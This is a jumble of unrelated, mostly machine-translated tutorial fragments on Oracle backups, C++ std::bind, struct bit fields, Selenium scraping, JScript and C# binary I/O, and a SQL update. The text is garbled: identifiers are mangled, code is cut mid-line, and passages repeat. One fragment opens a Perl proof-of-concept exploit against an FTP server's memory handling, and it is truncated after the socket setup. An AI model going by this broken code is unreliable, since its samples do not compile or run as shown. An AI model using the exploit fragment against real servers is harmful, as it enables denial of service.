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Cold backup occurs when the database is closed, directly copies the physical file backup mode, the backup database can be run in the archive mode, or can run in non-archive mode.Backup process:1) First get all the files running in the running library.Main backup files: Passwordfile, SPFile, Controlfile, datafile, Tempfile, logfile2) then plan to close the database, typically closed at night when no one is accessible.3) Copy the physical file to the specified backup path or device.4) Copy complet

functionsintFint,Char,Double);//binds the second and third arguments of the F () function call,//returns a new function object for FF with only one parameter of type intAuto FF = bind (f, _1, ' C ',1.2); intx = FF (7);Write your own code example as follows:intFunc (intXinty); auto Bf1= Std::bind (Func,Ten, std::p laceholders::_1); Bf1 ( -);///intHelloworld::addfunc (intAintb) { returnA +b;}BOOLhelloworl

, and the user needs to be aware that it cannot be used to check for equality or inequality 2. Bind Bind is a mechanism that can pre-bind certain parameters of a specified callable entity to an existing variable, producing a new callable entity that is useful in the use of a callback function. In c++98, there are two functions bind1st and bind2nd, each of which can be used to bind the first and second parameters of functor, which are bound only to one parameter. Various restrictions mak

. Chromeoptions () options.add_argument (' user-agent= ' mozilla/5.0 (Windows NT 6.2; WOW64) applewebkit/537.36 (khtml, like Gecko) chrome/27.0.1453.94 safari/537.36 "') #设置设备代理 Driver = Webdriver. Chrome (chrome_options=options) driver.get (' https://wenku.baidu.com/view/aa31a84bcf84b9d528ea7a2c.html ') # Here to fill in the article address page = Driver.find_element_by_xpath ("//div[@id = ' Html-reader-go-more ']") driver.execute_script (' arguments[ 0].scrollintoview (); ', page ' #拖动网页到可见的元素

);Here, the Auto keyword saves us the effort to infer the type of result that bind returns.We cannot bind a parameter of an overloaded function using bind (), and we must explicitly indicate the version of the overloaded function that needs to be bound:1 int g (int); 2 double g (double); 3 4 Auto G1 = bind (g, _1); Error: which g () is called? 5 Auto g2 = bind (Double (*) (double)) g, _1); Right, but pretty ugly.1 void H (int a); 2//Bind global f

function in the base class, is-4; otherwise, 0. In the VS compiler, subclasses and common base classes are separated by a null pointer. This field may not be in the other compilers For each class, the virtual function table can be parsed sequentially: first, the base class, and the FF () function of the base class is first overwritten by the BASE1, then overwritten by the derived class, and the GG () function of the base class is not overwritten. Therefore, the virtual functions pointed to in t

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~# Crappy Telnet Ftp Server Memory resume uption PoC#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~#! /Usr/bin/perl-wUse IO: Socket;Use Thread;$ | = 1;$ Host = shift;$ Port = shift | "21 ";If (! Defined ($ host )){Print ("usage: $0 \ $ host [\ $ port] \ n ");Exit (0 );}$ Check_first = IO: Socket: INET-> new (PeerAddr => $ host, PeerPort => $ port, Timeout => 60 );If (define

. js [Code] var buffer = new Buffer (100); var len = buffer. write ('HTTP: // www. lamport. me/club '); console. log ('event input character: '+ len ); Read data from the buffer zone [Code] encoding used by the buffer. toString ([ending, start, end]) parameter encoding. The default value is 'utf8 '. Start-specifies the index location to start reading. The default value is 0. End-end position. The default value is the end of the buffer. Return Value decodes the buffer data and returns the string

fields;5) the total size of the entire struct is an integer multiple of the size of the widest basic type. Let's take a look at the example.Example 1:Struct bf1{Char F1: 3;Char F2: 4;Char F3: 5;};Its memory layout is:| _ F1 __|__ F2 __| _ | ____ F3 ___ | ____ || _ |0 3 7 8 1316The bit field type is Char, and the 1st bytes can only accommodate F1 and F2, so F2 is compressed to 1st bytes, while F3 can only Starting from the next byte. Therefore, the re

. graphicspath ();If (rect. width {Rect. width = 1;}If (rect. height {Rect. Height = 1;} Clientpath. addarc (rect. Left, rect. Top, rect. Height, rect. Height, 90f, 180f );Clientpath. addarc (rect. Right-rect.Height, rect. Top, rect. Height, rect. Height, 270f, 180f );Clientpath. closefigure ();Return clientpath;}Protected graphicspath getgraphicspath1 (rectangle rect){Graphicspath clientpath = new system. Drawing. drawing2d. graphicspath ();If (rect. width {Rect. width = 1;}If (rect. height {Re

1:Struct bf1{Char F1: 3;Char F2: 4;Char F3: 5;};Its memory layout is:| _ F1 __|__ F2 __| _ | ____ F3 ___ | ____ || _ |0 3 7 8 1316The bit field type is Char, and the 1st bytes can only accommodate F1 and F2, so F2 is compressed to 1st bytes, while F3 onlyStarting from the next byte. Therefore, the result of sizeof (bf1) is 2. Example 2:Struct bf2{Char F1: 3;Short F2: 4;Char F3: 5;};Because the adjacent bit

storage unit is an integer multiple of its type;3) if the types of adjacent bitfield fields are different, the implementations of each compiler are different.Type, Dev-C ++ adopts the compression method;4) do not compress fields that are interspersed with non-bit fields;5) the total size of the entire struct is an integer multiple of the size of the widest basic type. Let's take a look at the example.Example 1:Struct bf1{Char F1: 3;Char F2: 4;Char F3

all compilers have extended these types to allow the existence of other types. The main purpose of bit domains is to compress storage. The general rules are as follows:1) if the types of adjacent fields are the same, and the sum of the bit widths is smaller than the sizeof size of the type, the subsequent fields will be stored next to the previous field until they cannot be accommodated;2) If the Field Types of adjacent bit fields are the same, but the sum of Bit Width is greater than the sizeo

The method for reading and writing binary files by jscript. This document describes how jscript reads and writes binary files. Share it with you for your reference. The specific implementation method is as follows: var bin = new Array(256);for(var i=0;i Example: var crFolder = 'C:/Temp/cr'var bf1=new BinaryFile(crFolder+"/PCDV0026.JPG");var bf2=new BinaryFile(crFolder+"/PCDV0026_.JPG");bf2.WriteAll(bf1.Read

extended this and agreed to the existence of other types. The main purpose of bit domains is to compress storage. The general rules are as follows:1) assuming that the types of adjacent fields are the same, and the sum of the bit widths is smaller than the sizeof size of the type, the subsequent fields are stored next to the previous field until they cannot be accommodated; 2) assuming that the type of the adjacent bit field is the same, but the sum of its bit width is greater than the sizeof s

Practice has proved that the use of cursors in a database is better. There are two tables in the database, one of which is huge, with about 10 million records (Big) and the other with only 5000 records (small ). Currently, the table Big needs to be updated based on the table small. UPDATE Big SET Bf1 = 0 WHERE BigId IN (SELECT BigId FROM Small WHERE Sf1> 0) However, the execution speed is very slow, and the applications connecting to and using th

Using JavaScript to read binary files and use ajax to transmit binary streams, javascriptajax Based on Multiple tutorials on the Internet and the methods obtained by our own practices, Alibaba Cloud is currently compatible with Google, IE11, and ie10. There is nothing special about htmlbody content. Read Binary files: Function uploadAndSubmit () {filename = document. getElementById ("str_file"). value; var form = document. forms ["demoForm"]; if (filename! = "") {Try {var obj = new ActiveXObjec

main purpose of bit domains is to compress storage. The general rules are as follows:1) if the types of adjacent fields are the same, and the sum of the bit widths is smaller than the sizeof size of the type, the subsequent fields will be stored next to the previous field until they cannot be accommodated;2) If the Field Types of adjacent bit fields are the same, but the sum of Bit Width is greater than the sizeof size of the type, the subsequent fields start from the new storage unit, its offs

; This. Writeall = function (content) { var Stream = new ActiveXObject ("ADODB. Stream "); Stream.type = adTypeText; Stream.charset = "Iso-8859-1"; Stream.open (); Stream.writetext (content); Stream.savetofile (This.path, adsavecreateoverwrite); Stream.Close (); Stream = null; } This. ReadAll = function () { var Stream = new ActiveXObject ("ADODB. Stream "); Stream.type = adTypeText; Stream.charset = "Iso-8859-1"; Stream.open (); Stream.loadfromfile (This.path); var content = St

(object sender, EventArgs e) {// transmit P to the peer computer person p = new person (); p. name = "James"; p. age = 18; p. gender = 'male'; using (FileStream sw = new FileStream (@ "d: \ 11.txt", FileMode. openOrCreate, FileAccess. readWrite) // serialize to the target file {// start to serialize the object BinaryFormatter bf = new BinaryFormatter (); bf. serialize (sw, p); // sw of the object to be serialized. write Automatic completion} person per = new person (); // receives the binary de